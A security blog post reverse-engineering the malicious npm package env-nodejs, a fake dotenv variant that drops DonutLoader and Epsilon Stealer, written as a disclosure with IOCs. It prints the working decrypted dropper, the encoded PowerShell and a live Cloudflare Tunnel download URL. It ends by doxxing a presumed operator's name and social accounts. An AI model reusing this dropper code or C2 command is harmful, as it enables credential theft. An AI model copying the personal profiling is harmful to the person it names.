Post

[email protected]: reverse engineering an npm supply chain dropper

[email protected] is a malicious npm package masquerading as a dotenv variant. Full walkthrough of the obfuscated dropper, the encoded PowerShell it builds, and the DonutLoader plus Epsilon Stealer payload it pulls from a Cloudflare Tunnel.

[email protected]: reverse engineering an npm supply chain dropper

This post contains live malware infrastructure, decrypted payload code, encoded PowerShell, and real C2 URLs lifted out of a working dropper. Don’t run, fetch, paste or otherwise reproduce anything here outside of a properly isolated analysis VM. Read, don’t run.

TL;DR

[email protected] is a malicious npm package that went up three days ago. The moment you require() it, it decrypts an obfuscated dropper, checks for a bundled JPEG as a sandbox-evasion trigger, and runs a VBScript-wrapped PowerShell command that downloads a Windows binary from a Cloudflare Tunnel. The binary is DonutLoader staging Epsilon Stealer. The npm page launders credibility by pointing its repository link at the real motdotla/dotenv GitHub repo. 397 downloads in the past week, and climbing.

My comments

Honestly, whilst reverse engineering this I was left pretty disappointed. It’s another generic loader and infostealer you can pull straight off vx-underground and repackage. Most “threat actors” nowadays don’t even write their own malware, they just grab an old easily-detected stealer and ship it through a crypter. This post is a clear example of that.

The offer

Somebody DM’d me earlier today offering $250 to optimise the request speed of some Node.js project they were building.

Looking at the tech stack, I honestly figured it was about 15 minutes of work. Two changes, basically: swap axios for undici (lighter HTTP client, no axios-shaped dependency tree, way faster under any kind of load), and rewrite how the requests actually get fired so they go out in parallel through a pooled keep-alive connection instead of opening a fresh TCP socket on every call.

That’s the whole job. $250 to do that is insane, and obviously I wasn’t actually going to see that money :(

Initial recon

Original sniper repository (maliciously crafted): github.com/yutomiwana/discord-username-sniper.

Before touching anything I opened the GitHub repo in a browser and went straight to the commit history.

GitHub’s web UI shows commit author names but hides committer emails. There’s a one-character trick to get them back. Take any commit URL and append .patch to the end. So github.com/<user>/<repo>/commit/<hash> becomes github.com/<user>/<repo>/commit/<hash>.patch, and GitHub serves the raw email-format patch file. Right at the top sits the From: Name <email> header from the original commit.

It’s a common config slip. When a dev runs git config --global user.email against their actual Gmail instead of a GitHub no-reply address, every commit they push leaks that email to anyone who knows about the .patch trick.

His commits leaked [email protected] lol.

I let him know, because it’s basic OPSEC and the polite thing to do is mention it.

Discord conversation showing me warning the developer about his exposed email, with the developer replying "idc" “idc”, ok then.

Well, he didn’t seem to care about his email being leaked, which made me think it probably wasn’t even his. Later in the post I look up that email and find it belongs to a Dutch person. The two of us even end up chatting in Dutch. So maybe it IS his and he’s just dumb?

I scrolled through the rest of the GitHub profile. Every repository on the account had been pushed inside the last three days. That timing lined up exactly with when [email protected] was published to npm. The account was probably compromised, then used to spin up the campaign.

While I was already in the sniper repo I scanned the source. The first thing I always do with an unfamiliar repo is look for unusually long lines. GitHub does not wrap text in its file viewer. If a file has a 6KB single-line blob of obfuscated JavaScript hiding in it, the directory listing looks normal, but when you open the file you get a tiny horizontal scrollbar and a wall of garbage running off the right edge of the screen. Nothing in the visible code tells you anything is wrong unless you check the line lengths.

Every file in the sniper repo wrapped normally. The code itself was clean. Routine axios.post calls to the Discord API, basic CLI loop, no encoded blobs, no eval, no Buffer.from(..., 'base64') constructions. Nothing was hidden in the sniper itself.

Next, package.json:

1
2
3
4
5
6
7
{
  "dependencies": {
    "axios": "^1.15.0",
    "cycletls": "^1.0.0",
    "env-nodejs": "^2.6.0"
  }
}

Three dependencies. I already knew two of them, the third I’d never heard of: env-nodejs. “Buffer utility for environment variables.” That description alone is suspicious. Env-var libraries in Node are a well-trodden space. dotenv does 30M+ weekly downloads. envalid, cross-env, node-env, take your pick. Nobody writes a new one in 2026 and gets serious traction. And the “buffer” framing is nonsense. What does it actually mean to load env vars “into an allocated buffer”? Env vars are strings.

I pulled up the npm page for env-nodejs.

NPM package page showing env-nodejs version 2.6.0 with 397 weekly downloads, last publish 3 days ago, and the repository link pointing to github.com/motdotla/dotenv

This is what a live typosquat looks like.

The “Repository” link points to github.com/motdotla/dotenv. That’s the real dotenv repository, owned by Mehedi Hassan Piash, maintained by him for years. The malicious package is laundering credibility by pointing its repository field at a completely unrelated, legitimate, well-known project. Anyone scanning the npm page and clicking the repo link to “verify” the package lands on a real, popular codebase and assumes they’ve done their due diligence. They haven’t. The repo field comes straight out of the package’s own package.json, and npm never validates it against who actually owns the linked repo.

Weekly downloads were 397, with a sharp upward spike on the graph. Three days into the campaign, that’s roughly 397 victim machines per week pulling this package down and triggering the chain on first execution of whatever depended on it.

Last publish: 3 days ago. Same window as the GitHub account activity.

I pulled the npm registry metadata for the maintainer:

1
2
3
4
maintainer:        bufferintake ([email protected])
versions:          1.0.0, 2.5.0, 2.6.0
v2.6.0 published:  2026-05-09
maintainer's other packages: none

Single-package account on ProtonMail. The version numbers jump straight from 1.0.0 to 2.5.0 with nothing in between. 1.0.0 and 2.5.0 were probably published earlier as priming, so the package would look like it had a real history before the malicious 2.6.0 went out.

That was enough to stop trusting it. The only question left was what it actually did, and to answer that I had to run it.

The VM setup

I keep a Hyper-V Windows 10 VM around for exactly this kind of thing. Clean snapshot, isolated network adapter routed through a transparent proxy I can pause whenever, monitoring hooks already running before anything else loads.

Tools I had on for this one:

  • Sysmon with the SwiftOnSecurity config, dropping every process creation, network connection and file creation event into the local event log.
  • Procmon filtered to flag any powershell.exe, wscript.exe, cscript.exe, mshta.exe, certutil.exe or bitsadmin.exe execution with a pop-up.
  • mitmproxy on the network adapter capturing every outbound TLS connection by SNI, so download attempts from a hidden window would still show up.
  • An inotify-style watcher on %TEMP%, %LOCALAPPDATA%\Temp and the user profile root, logging every file created during the run.

The point was simple. If the project spawned any non-Node process, dropped a file outside its own working directory, or opened a TLS connection to anywhere other than Discord’s API, I wanted to see it before the run finished.

I cloned the repo into the VM, ran npm install, then node index.js.

What happened in the first two seconds

First event: process create on node.exe, parented to my shell. Expected.

Second event: process create on wscript.exe, parented to node.exe, with this command line:

1
wscript.exe C:\Users\Admin\AppData\Local\Temp\msupdate_1778629599331.vbs

That shouldn’t happen. A Node.js script that’s supposed to be hammering the Discord API has no business spawning wscript.exe.

Third event: powershell.exe spawned from wscript.exe with the following command line:

1
2
3
4
5
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  -NoProfile -NonInteractive
  -ExecutionPolicy Bypass
  -WindowStyle Hidden
  -EncodedCommand JABwAGEAdABoAD0AIgAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAXABUAGUAbQBwAFwAaABlAGwAbABvAC4AZQB4AGUAIgA7ACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcABzADoALwAvAGUAbQBwAGgAYQBzAGkAcwAtAGYAcgBpAGEAZAB5AC0AZQB2AGUAbgAtAGEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIALgB0AHIAeQBjAGwAbwB1AGQAZgBsAGEAcgBlAC4AYwBvAG0ALwBkAG8AdwBuAGwAbwBhAGQALwBlAHAAcwBpACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAHAAYQB0AGgAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAHAAYQB0AGgAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAJwBpAGkAJwA=

588 characters of base64 hanging off -EncodedCommand. Pulled it out and decoded it.

Decoding the EncodedCommand

PowerShell’s -EncodedCommand flag doesn’t take ASCII base64. It expects the command as base64-encoded UTF-16 little-endian, and that detail is worth understanding because it changes how the string looks on disk and in logs.

When you base64-encode plain ASCII, each output character represents about 6 bits of input. “hello” gives you aGVsbG8=.

When you base64-encode UTF-16LE, each ASCII character in the source first becomes two bytes (the character itself plus a null byte). So “hello” becomes the byte sequence 68 00 65 00 6C 00 6C 00 6F 00, and that base64-encodes into aABlAGwAbABvAA==. Every other character in the output is an A, because base64 of 0x00 is A.

That’s what’s going on in the long encoded string above. The AB, AC and AD patterns scattered through it are null bytes leaking out as As. The whole thing runs about twice as long as the ASCII base64 equivalent, which makes the command look denser and more noise-like in a process command-line log. Plenty of detection rules look for “very long base64 string” as a heuristic, and plenty of them miss this specific UTF-16LE pattern because they weren’t trained on it.

Decoded, the command is:

1
2
3
4
$path = "$env:LOCALAPPDATA\Temp\hello.exe"
Invoke-WebRequest -Uri "https://emphasis-friday-even-administrator.trycloudflare.com/download/epsi" -OutFile $path
Start-Process $path -WindowStyle Hidden
Write-Host 'ii'

A few things worth flagging here.

The download URL sits on trycloudflare.com. That’s Cloudflare’s free anonymous tunnel service. Costs nothing to set up, leaves no WHOIS trail, hides the operator’s real origin IP behind Cloudflare’s edge and gets you TLS for free. The four-word subdomain (emphasis-friday-even-administrator) is the default naming scheme Cloudflare generates when you run cloudflared tunnel --url. The operator didn’t pick the name, they just took whatever the tool gave them.

The download path is /download/epsi. The epsi is the giveaway. Short for Epsilon, the stealer family this campaign drops. If you’re going to run a stealer campaign through a disposable tunnel you don’t name the endpoint after the malware family lol. But it tells me what to expect from the binary before I’ve even touched it.

The Write-Host 'ii' at the end is operator residue. It does nothing useful. It’s a printf-style debug statement the dev left in while testing the dropper and never took out. Real malware always has these little tells.

Hunting for the VBS in the package

Before going near env-nodejs’s source I wanted to confirm where the VBS file was coming from. The msupdate_1778629599331.vbs filename told me the number was being generated dynamically (it’s roughly Date.now() in milliseconds), but I wanted to be sure the package wasn’t shipping a static VBS template I’d missed.

I extracted a fresh copy of the tarball with npm pack [email protected], unpacked it and listed everything:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
node_modules/env-nodejs/
├── CHANGELOG.md
├── LICENSE
├── README.md
├── README-es.md
├── SECURITY.md
├── config.d.ts
├── config.js
├── package.json
└── lib/
    ├── cli-options.js
    ├── env-options.js
    ├── main.d.ts
    ├── main.js
    └── stest.jpg

No VBS file. I grepped every text file in the package for wscript, CreateObject, WScript.Shell, .vbs and WindowStyle. No hits. The package itself doesn’t ship a static VBS at all.

Which meant the VBS had to be built at runtime by code inside lib/main.js. And that’s what finally got me into the file properly.

Opening lib/main.js

A 287KB package with a JPEG inside it. The README is a copy of dotenv’s README with the word “dotenv” replaced by “env-nodejs” to give the package a coat of legitimacy. Most of the other files are empty stubs or copies of files from real env libraries.

lib/main.js is the only file that does anything. 6KB of JavaScript on a single line.

This is what the GitHub-no-text-wrap check is for. In the file viewer main.js looks like a normal file in the directory listing. Open it and you get a horizontal scrollbar and a wall of obfuscated text running off the right edge of the screen.

The obfuscator was obfuscator.io on its “high” preset. Structure looked like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
function a(){const a5=['HMZmH','596354JdEYOs','b94lhbdhdpt','TNgnw','kTxia', ...];
  a=function(){return a5;}; return a();}
function b(c,d){c=c-0xa3; const e=a(); let f=e[c]; return f;}
(function(c,d){
  const a2=b,e=c();
  while(!![]){
    try{
      const f = parseInt(a2(0xac))/0x1 + -parseInt(a2(0xa6))/0x2*(parseInt(a2(0xab))/0x3) + ...;
      if(f===d) break;
      else e['push'](e['shift']());
    } catch(g) { e['push'](e['shift']()); }
  }
}(a, 0x549df), ...

Three layers stacked on top of each other:

  1. String-array shuffler. All the meaningful strings in the code are pulled out into a single array and accessed through an indexed getter. Before the real code runs, the getter mutates the array order by repeatedly shifting elements until an arithmetic invariant (0x549df in this sample) lines up. This breaks any naive deobfuscation that tries to map index numbers back to string values without running the shuffle first.
  2. RC4-encrypted payload. The actual malicious code is base64-encoded ciphertext, decrypted with a custom RC4 implementation. The RC4 key is fetched out of the now-shuffled string array.
  3. new Function(...) execution. The decrypted plaintext is itself base64, decoded once more, and passed to new Function(require, module, __filename, __dirname, <code>), which is then invoked. None of the malicious code exists as parsed JavaScript until the moment the package is imported. Anything doing static analysis on the source sees the obfuscator wrapper and nothing else.

Pulling the payload out safely

I’d already detonated the dropper inside the VM with full instrumentation running, so I had the behavioural picture. For clean analysis though, I wanted the decrypted code on disk as a readable file, not as a black box I could only observe from the outside.

The trick is to intercept the Function constructor before requiring the package. The malware calls new Function(...) once, with the decrypted source as its body. If I swap the global Function for a function that captures its arguments and returns a no-op stub, the obfuscator runs through every step right up to compilation, hands me the plaintext, and then the resulting “function” does nothing when it’s invoked:

1
2
3
4
5
6
7
8
9
10
const OriginalFunction = Function;

Function = function (...args) {
  const body = args[args.length - 1];
  require('fs').writeFileSync('payload.js', body);
  return function () {};
};
Function.prototype = OriginalFunction.prototype;

require('env-nodejs/lib/main.js');

This works because of how new returns from a constructor. If the constructor returns an object, that object is what new produces. The function () {} I return is an object (functions are objects), so when the malware does:

1
new Function(...args)(require, module, __filename, __dirname);

…it gets back my empty stub and invokes it with the four arguments. The stub discards them and returns.

The captured payload was 4,845 characters of clean readable JavaScript split into three sections.

The decrypted payload

Section 1: decoy functions

The first 15 lines were a string of pointless functions doing trivial bitwise ops on small integers:

1
2
3
4
5
function xgbnmtog(txtwcu, uosetv) { return txtwcu | uosetv; }
xgbnmtog(45, 89);
function rmhbmcjd(xnxzhw, inezid) { return xnxzhw & inezid; }
rmhbmcjd(29, 79);
...

None of these functions are referenced from anywhere else in the code. They’re dead weight. The point is to bulk out the AST and add lexical noise for any heuristic looking at function count or call density.

Section 2: the JPEG trigger

1
2
3
4
5
6
7
const imageFilePath = path.join(__dirname, 'stest.jpg');
let axiosPayload;
try {
  axiosPayload = fs.readFileSync(imageFilePath);
} catch (err) {
  process.exit(1);
}

The payload reads lib/stest.jpg from inside its own package directory. If the file’s missing for any reason, the process exits silently with no further action.

Then it walks the JPEG byte by byte, parsing segment markers, looking specifically for the APP13 marker (0xFFED):

1
2
3
4
5
6
7
8
if (markerType === 0xED) {
  const dataStartOffset = axiosRetryOffset + 4;
  const actualPayloadDataLength = segmentSize - 2;
  const axiosChunk = axiosPayload.slice(dataStartOffset, dataStartOffset + actualPayloadDataLength);
  axiosBody = axiosChunk.toString('utf-8');
  axiosTriggered = true;
  break;
}

The data inside the APP13 segment never gets used anywhere. The axiosBody variable is dead in this version of the payload. The only thing that actually matters is whether the JPEG is present and structurally intact enough to contain a valid APP13 segment.

This is a sandbox evasion. A lot of automated npm malware pipelines unpack packages and feed only the JavaScript files into their sandbox, stripping binary assets because they treat them as resources rather than executable content. When the JPEG isn’t present the trigger never fires, the dropper does nothing observable, and the sandbox marks the package as “no malicious behaviour detected” before moving on. The chain only fires if you preserve the full package layout, which a default npm install does and most sandbox extractors don’t.

The bundled stest.jpg in v2.6.0 is 287KB with a valid 0xFFED marker at offset 286,604. On a real victim where npm install puts the JPEG right next to main.js, the check passes every time.

Section 3: the drop chain

When the trigger fires, the payload builds the PowerShell command, encodes it, writes a VBS wrapper, and spawns it detached:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if (axiosTriggered) {
  const powershellCmd =
    `$path="$env:LOCALAPPDATA\\Temp\\hello.exe"; ` +
    `Invoke-WebRequest -Uri "https://emphasis-friday-even-administrator.trycloudflare.com/download/epsi" -OutFile $path; ` +
    `Start-Process $path -WindowStyle Hidden; Write-Host 'ii'`;

  const encoded = Buffer.from(powershellCmd, 'utf16le').toString('base64');

  const vbsPath = path.join(os.tmpdir(), 'msupdate_' + Date.now() + '.vbs');
  const vbsContent =
    `CreateObject("WScript.Shell").Run ` +
    `"powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass ` +
    `-WindowStyle Hidden -EncodedCommand ${encoded}", 0, False`;

  fs.writeFileSync(vbsPath, vbsContent, 'utf8');

  const detached = spawn('wscript.exe', [vbsPath], {
    detached: true,
    stdio: 'ignore',
    windowsHide: true,
  });
  detached.unref();

  setTimeout(() => {
    try { fs.unlinkSync(vbsPath); } catch (e) {}
  }, 4000);
}

So the VBS contents are exactly:

CreateObject("WScript.Shell").Run "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand <utf16le-base64-blob>", 0, False

One line. Third argument to WScript.Shell.Run is the window style (0 = hidden) and the fourth is bWaitOnReturn (False = don’t wait on the spawned process). So the VBS launches PowerShell hidden, returns immediately, and the wscript host exits.

The interesting bits stacked here:

The PowerShell command is built with plain string concatenation, then immediately UTF-16LE base64-encoded so it can ride on -EncodedCommand. Partly that’s an escaping convenience (no quoting weirdness), partly it makes the command look denser in process command-line logs.

The VBS gets written to %TEMP%\msupdate_<timestamp>.vbs. The filename’s picked to look like a Windows Update background artifact, the sort of thing most users wouldn’t look twice at if they spotted it in their temp folder.

spawn() options matter. detached: true lets the Node process exit immediately without waiting on wscript.exe. stdio: 'ignore' means no console output is captured. windowsHide: true keeps the wscript window from flashing on screen. Combined, the parent Node finishes its main loop cleanly while the dropper carries on in the background, fully detached.

The four-second setTimeout deletes the VBS file shortly after launch. By the time it deletes, wscript.exe has long since read the file into memory and started running it. The VBS is just a transient relay. Wiping it strips the most forensically obvious artifact off the disk before any reasonable EDR sweep would catch it.

The resulting process tree was what I saw in real time:

1
2
3
4
node.exe
└── wscript.exe (running %TEMP%\msupdate_<ts>.vbs)
    └── powershell.exe -EncodedCommand <utf16le-base64>
        └── hello.exe (downloaded from trycloudflare.com)

Four layers, each one a different process type. The fragmentation is deliberate. Most EDR products correlate threats by walking the process ancestry chain. A node.exe → hello.exe parent-child link looks suspicious. A node.exe → wscript.exe → powershell.exe → hello.exe chain crosses three different scripting hosts and looks like four unrelated events to anything that doesn’t stitch the lineage together properly.

What’s in hello.exe

I detonated the payload in a second snapshot of the VM with full instrumentation, captured the binary, and submitted it to tria.ge.

The results were unambiguous.

Score: 10/10. Threat level: known bad. Family: DonutLoader staging Epsilon Stealer.

The binary itself is 5.1MB and reports as an unsigned PE. The 86MB I’d seen earlier when I made a HEAD request to the C2 was probably a padded variant intended to defeat AV scanners with file-size limits. The version that gets dropped into %LOCALAPPDATA%\Temp\hello.exe and run is the smaller payload.

The behavioural chain from the sandbox:

1
2
3
4
5
6
7
8
9
10
hello.exe
└── extracts to %LOCALAPPDATA%\Temp\3Daddgsd0dJirM4X3brLheRAxlm\test.exe
    └── test.exe (Electron-based Epsilon Stealer)
        ├── enumerates browser profiles (Firefox, Chrome, Edge)
        ├── reads browser cookies, autofill, saved passwords
        ├── queries Win32_ComputerSystemProduct, Win32_bios for fingerprinting
        ├── looks up external IP via ipinfo.io
        ├── exfiltrates collected data to discord.com (webhook)
        └── drops persistence: C:\Users\Admin\AppData\Local\Microsoft\Windows\0\svchost.exe
            └── registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost

The stealer side is Epsilon, an Electron-packaged infostealer that ships as a Chromium-style application. The dropped test.exe runs with Electron’s full sub-process model (GPU helper, network process, renderer and the rest), which is why the sandbox sees so many child processes under it. Electron stealers keep showing up more often because they bring their own runtime and bypass any host-side restrictions on Node.

Exfiltration is over Discord. The stealer hits discord.com directly, probably through a hardcoded webhook, to dump the collected data. That lines up with the Discord-sniper distribution context: the operators built their delivery and their exfil around the same platform their victims already use.

Persistence is a renamed copy of itself dropped to %LOCALAPPDATA%\Microsoft\Windows\0\svchost.exe, with a Run key entry registered through reg.exe ADD. The folder name (Microsoft\Windows\0) is picked to look like a legitimate Microsoft path inside the user profile. A casual look at the Run key sees svchost = C:\Users\Admin\AppData\Local\Microsoft\Windows\0\svchost.exe, which looks like a real Microsoft path, even though the actual svchost.exe only ever runs from C:\Windows\System32.

The sandbox also flagged the binary as ransomware-capable. Tria.ge tagged it ransomware based on its use of the Volume Shadow Copy COM API and the presence of a file called BackupUnlock.xlsx in the dropped staging directory. I haven’t analysed the binary deeply enough to confirm what triggers the ransomware behaviour. It’s probably a fallback module the operators rarely fire, but it’s there if they want it.

The MITRE ATT&CK coverage in the sandbox report listed every major tactic except Initial Access and Exfiltration over C2 Channel: Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Unsecured Credentials, Discovery, Collection, and Command and Control. Standard commodity stealer wrapped in a multi-stage loader.

The final red flag

While I was working through the package, the “developer” kept pinging my DMs.

just run mine and try it u will see, try to claim chladda777 and send me a screenshot, lmk @<my-user>

The username’s the pretext. He just needed node index.js running on my machine long enough for the dropper to fire. Normally an optimisation gig is about what you ship at the end. He was just trying to get his unmodified code running on my machine for long enough.

I stopped replying and started writing this post.

Disclosure

[email protected] has been reported to:

  • npm Security ([email protected]) for package takedown.
  • Socket.dev for inclusion in their malware feed.
  • Aikido Intel for their threat advisory database.
  • The GitHub Security Advisory Database for GHSA assignment.
  • Cloudflare Abuse ([email protected]) to tear down the trycloudflare tunnel.
  • GitHub Trust and Safety for the upstream repository hosting the sniper.

Indicators of Compromise

Package

  • npm: [email protected]
  • Maintainer: bufferintake ([email protected])
  • Tarball: https://registry.npmjs.org/env-nodejs/-/env-nodejs-2.6.0.tgz
  • Tarball SHA-512: BGIVXy+5UrePVX/CkAEmQDG7cn4W44dDpT/ScD7wDfwh0ubPX38KcIWmLWJyM6ZumdRNDBzD/m4v91wxA3v3iw==
  • Weekly downloads at time of report: 397 (climbing)
  • Repository link on npm: github.com/motdotla/dotenv (impersonating the real dotenv package)

Operator OPSEC artifacts

  • Email leaked via commit .patch files: [email protected]
  • Operator-controlled GitHub account: every repository pushed within the last 3 days, matching the campaign timeline
  • Discord contact handle: see the original DM thread (redacted on request)

Trigger artifact (inside package)

  • node_modules/env-nodejs/lib/stest.jpg (287,130 bytes, contains an 0xFFED APP13 JPEG segment at offset 286,604)

Network

  • C2 host: emphasis-friday-even-administrator.trycloudflare.com
  • C2 path: /download/epsi
  • Cloudflare edge IPs at time of analysis: 104.16.230.132, 104.16.231.132
  • Exfiltration channel: Discord webhook (host discord.com)
  • Geolocation lookup: ipinfo.io

Files dropped on victim

  • %LOCALAPPDATA%\Temp\hello.exe (DonutLoader stage)
  • %LOCALAPPDATA%\Temp\3Daddgsd0dJirM4X3brLheRAxlm\test.exe (Epsilon Stealer, Electron)
  • %LOCALAPPDATA%\Microsoft\Windows\0\svchost.exe (persistence copy)
  • %TEMP%\msupdate_<unix-epoch-ms>.vbs (transient, deleted ~4 seconds after launch)

Persistence

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\Users\<user>\AppData\Local\Microsoft\Windows\0\svchost.exe"

Process chain

  • node.exe → wscript.exe → powershell.exe -EncodedCommand <utf16le-base64> → hello.exe → test.exe → svchost.exe

Sandbox sample

  • SHA-256 (hello.exe variant): eed4c3722b8f6afb9fa16a9feeb7065efee17417335803ec2d35da35272adc16
  • Tria.ge submission: 260512-3mm15aas6z
  • Family classification: DonutLoader (loader) + Epsilon Stealer (stealer)

Lessons

Read your dependencies before you run them. A single-package maintainer publishing their first real version three days ago is a five-minute audit, and that five minutes will save you a wiped machine.

If a freelance offer is wildly overpriced for the work, the buyer is probably paying for something other than the actual work, like getting their unmodified code running on your machine. Watch out for clients pushing you to run their code before any real changes have been made.

If any of your npm projects pulled in env-nodejs at any version, treat the host as compromised, rotate every credential that touched it, then wipe.

Bonus: a quick OSINT pivot

I decided to dig into the leaked email a bit. The first thing I noticed when I pulled up the Google profile for it was the display name on the account: Rayan van Dam.

From there I ran [email protected] against a few OSINT endpoints and social media lookups to see what else it tied back to, and it returned a TikTok handle @buurtactief with the display name set to 🔥🇲🇦 and a Dutch bio (which just means “neighbourhood-active”). That account follows another one called vlinderscrime with the exact same display name and profile picture, just with way more followers and actually posting stuff, looks like a bunch of shitty Dutch drill/rap clips. So vlinderscrime is probably his main account and @buurtactief is just the smaller sister tied to this specific Gmail.

To double-check the language angle, I switched the Discord DMs to Dutch:

me: spreek je nederlands?

them: ja, ben je NL

me: nee, ik ben brit maar ik spreek nl

them: ah ok nice

He could’ve just been Google Translating those replies, sure. But normally a non-speaker bails back to English the second it gets awkward, and he didn’t. So between that, the Moroccan flag on his TikTok, and the Dutch bio, he’s probably just some Dutch-Moroccan guy reusing his real email to ship malware on npm.

This post is licensed under CC BY 4.0 by the author.